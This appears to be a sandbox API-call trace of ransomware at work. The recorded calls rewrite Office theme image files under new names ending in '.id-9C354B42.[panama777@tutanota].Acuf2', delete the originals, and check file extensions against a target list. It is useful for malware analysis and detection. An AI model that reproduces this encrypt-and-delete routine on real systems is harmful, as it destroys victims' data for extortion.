	[0051.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.677] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.678] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.679] GetLastError () returned 0x0
	[0051.679] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x554, lpOverlapped=0x0) returned 1
	[0051.681] WriteFile (in: hFile=0x208, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x560, lpOverlapped=0x0) returned 1
	[0051.682] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.682] WriteFile (in: hFile=0x208, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.682] SetEndOfFile (hFile=0x208) returned 1
	[0051.682] CloseHandle (hObject=0x208) returned 1
	[0051.682] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.682] SetEndOfFile (hFile=0x200) returned 1
	[0051.683] CloseHandle (hObject=0x200) returned 1
	[0051.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.683] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1
	[0051.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.684] lstrlenW (lpString=".doc") returned 4
	[0051.684] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.684] lstrlenW (lpString=".docx") returned 5
	[0051.684] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.684] lstrlenW (lpString=".pdf") returned 4
	[0051.684] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.684] lstrlenW (lpString=".xls") returned 4
	[0051.684] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.684] lstrlenW (lpString=".xlsx") returned 5
	[0051.684] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.684] lstrlenW (lpString=".ppt") returned 4
	[0051.684] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.684] lstrlenW (lpString=".zip") returned 4
	[0051.684] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.684] lstrlenW (lpString=".rar") returned 4
	[0051.684] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.684] lstrlenW (lpString=".bz2") returned 4
	[0051.684] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.684] lstrlenW (lpString=".7z") returned 3
	[0051.684] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.684] lstrlenW (lpString=".dbf") returned 4
	[0051.684] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.684] lstrlenW (lpString=".1cd") returned 4
	[0051.684] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.684] lstrlenW (lpString=".jpg") returned 4
	[0051.684] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.685] lstrlenW (lpString=".doc") returned 4
	[0051.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.685] lstrlenW (lpString=".docx") returned 5
	[0051.685] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.685] lstrlenW (lpString=".pdf") returned 4
	[0051.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.685] lstrlenW (lpString=".xls") returned 4
	[0051.685] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.685] lstrlenW (lpString=".xlsx") returned 5
	[0051.685] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.685] lstrlenW (lpString=".ppt") returned 4
	[0051.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.685] lstrlenW (lpString=".zip") returned 4
	[0051.685] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.685] lstrlenW (lpString=".rar") returned 4
	[0051.685] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.685] lstrlenW (lpString=".bz2") returned 4
	[0051.685] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.685] lstrlenW (lpString=".7z") returned 3
	[0051.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.685] lstrlenW (lpString=".dbf") returned 4
	[0051.685] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.685] lstrlenW (lpString=".1cd") returned 4
	[0051.685] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0051.686] lstrlenW (lpString=".jpg") returned 4
	[0051.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.686] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.686] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.686] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=11573) returned 1
	[0051.686] CloseHandle (hObject=0x200) returned 1
	[0051.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20
	[0051.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.687] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.687] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.687] GetLastError () returned 0x0
	[0051.687] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x2d35, lpOverlapped=0x0) returned 1
	[0051.689] WriteFile (in: hFile=0x208, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x2d40, lpOverlapped=0x0) returned 1
	[0051.690] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.690] WriteFile (in: hFile=0x208, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.690] SetEndOfFile (hFile=0x208) returned 1
	[0051.690] CloseHandle (hObject=0x208) returned 1
	[0051.690] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.690] SetEndOfFile (hFile=0x200) returned 1
	[0051.691] CloseHandle (hObject=0x200) returned 1
	[0051.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.691] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1
	[0051.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.692] lstrlenW (lpString=".doc") returned 4
	[0051.692] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.692] lstrlenW (lpString=".docx") returned 5
	[0051.692] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.692] lstrlenW (lpString=".pdf") returned 4
	[0051.692] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.692] lstrlenW (lpString=".xls") returned 4
	[0051.692] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.692] lstrlenW (lpString=".xlsx") returned 5
	[0051.692] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.692] lstrlenW (lpString=".ppt") returned 4
	[0051.692] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.692] lstrlenW (lpString=".zip") returned 4
	[0051.692] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.692] lstrlenW (lpString=".rar") returned 4
	[0051.692] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.692] lstrlenW (lpString=".bz2") returned 4
	[0051.692] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.692] lstrlenW (lpString=".7z") returned 3
	[0051.692] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.692] lstrlenW (lpString=".dbf") returned 4
	[0051.692] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.692] lstrlenW (lpString=".1cd") returned 4
	[0051.692] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.692] lstrlenW (lpString=".jpg") returned 4
	[0051.693] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.693] lstrlenW (lpString=".doc") returned 4
	[0051.693] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.693] lstrlenW (lpString=".docx") returned 5
	[0051.693] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.693] lstrlenW (lpString=".pdf") returned 4
	[0051.693] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.693] lstrlenW (lpString=".xls") returned 4
	[0051.693] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.693] lstrlenW (lpString=".xlsx") returned 5
	[0051.693] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.693] lstrlenW (lpString=".ppt") returned 4
	[0051.693] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.693] lstrlenW (lpString=".zip") returned 4
	[0051.693] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.693] lstrlenW (lpString=".rar") returned 4
	[0051.693] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.693] lstrlenW (lpString=".bz2") returned 4
	[0051.693] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.693] lstrlenW (lpString=".7z") returned 3
	[0051.693] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.693] lstrlenW (lpString=".dbf") returned 4
	[0051.693] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.693] lstrlenW (lpString=".1cd") returned 4
	[0051.693] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0051.694] lstrlenW (lpString=".jpg") returned 4
	[0051.694] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.694] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.694] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.694] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2574) returned 1
	[0051.694] CloseHandle (hObject=0x200) returned 1
	[0051.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20
	[0051.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.695] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.695] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.696] GetLastError () returned 0x0
	[0051.696] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0xa0e, lpOverlapped=0x0) returned 1
	[0051.698] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xa10, lpOverlapped=0x0) returned 1
	[0051.699] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.699] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.699] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.699] CloseHandle (hObject=0x1e8) returned 1
	[0051.699] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.699] SetEndOfFile (hFile=0x200) returned 1
	[0051.700] CloseHandle (hObject=0x200) returned 1
	[0051.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.700] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1
	[0051.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0051.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0051.701] lstrlenW (lpString=".doc") returned 4
	[0051.701] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.701] lstrlenW (lpString=".docx") returned 5
	[0051.701] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.701] lstrlenW (lpString=".pdf") returned 4
	[0051.701] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.701] lstrlenW (lpString=".xls") returned 4
	[0051.701] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.701] lstrlenW (lpString=".xlsx") returned 5
	[0051.701] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.701] lstrlenW (lpString=".ppt") returned 4
	[0051.701] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0051.701] lstrlenW (lpString=".zip") returned 4
	[0051.701] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.701] lstrlenW (lpString=".rar") returned 4
	[0051.701] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.701] lstrlenW (lpString=".bz2") returned 4
	[0051.701] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.701] lstrlenW (lpString=".7z") returned 3
	[0051.701] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0051.701] lstrlenW (lpString=".dbf") returned 4
	[0051.702] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0051.702] lstrlenW (lpString=".1cd") returned 4
	[0051.702] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75
	[0051.702] lstrlenW (lpString=".jpg") returned 4
	[0051.702] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.702] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.702] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.703] GetLastError () returned 0x0
	[0051.703] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x9240, lpOverlapped=0x0) returned 1
	[0051.869] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x9250, lpOverlapped=0x0) returned 1
	[0051.871] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.871] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.871] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.871] CloseHandle (hObject=0x1e8) returned 1
	[0051.871] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.871] SetEndOfFile (hFile=0x200) returned 1
	[0051.872] CloseHandle (hObject=0x200) returned 1
	[0051.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.873] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1
	[0051.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
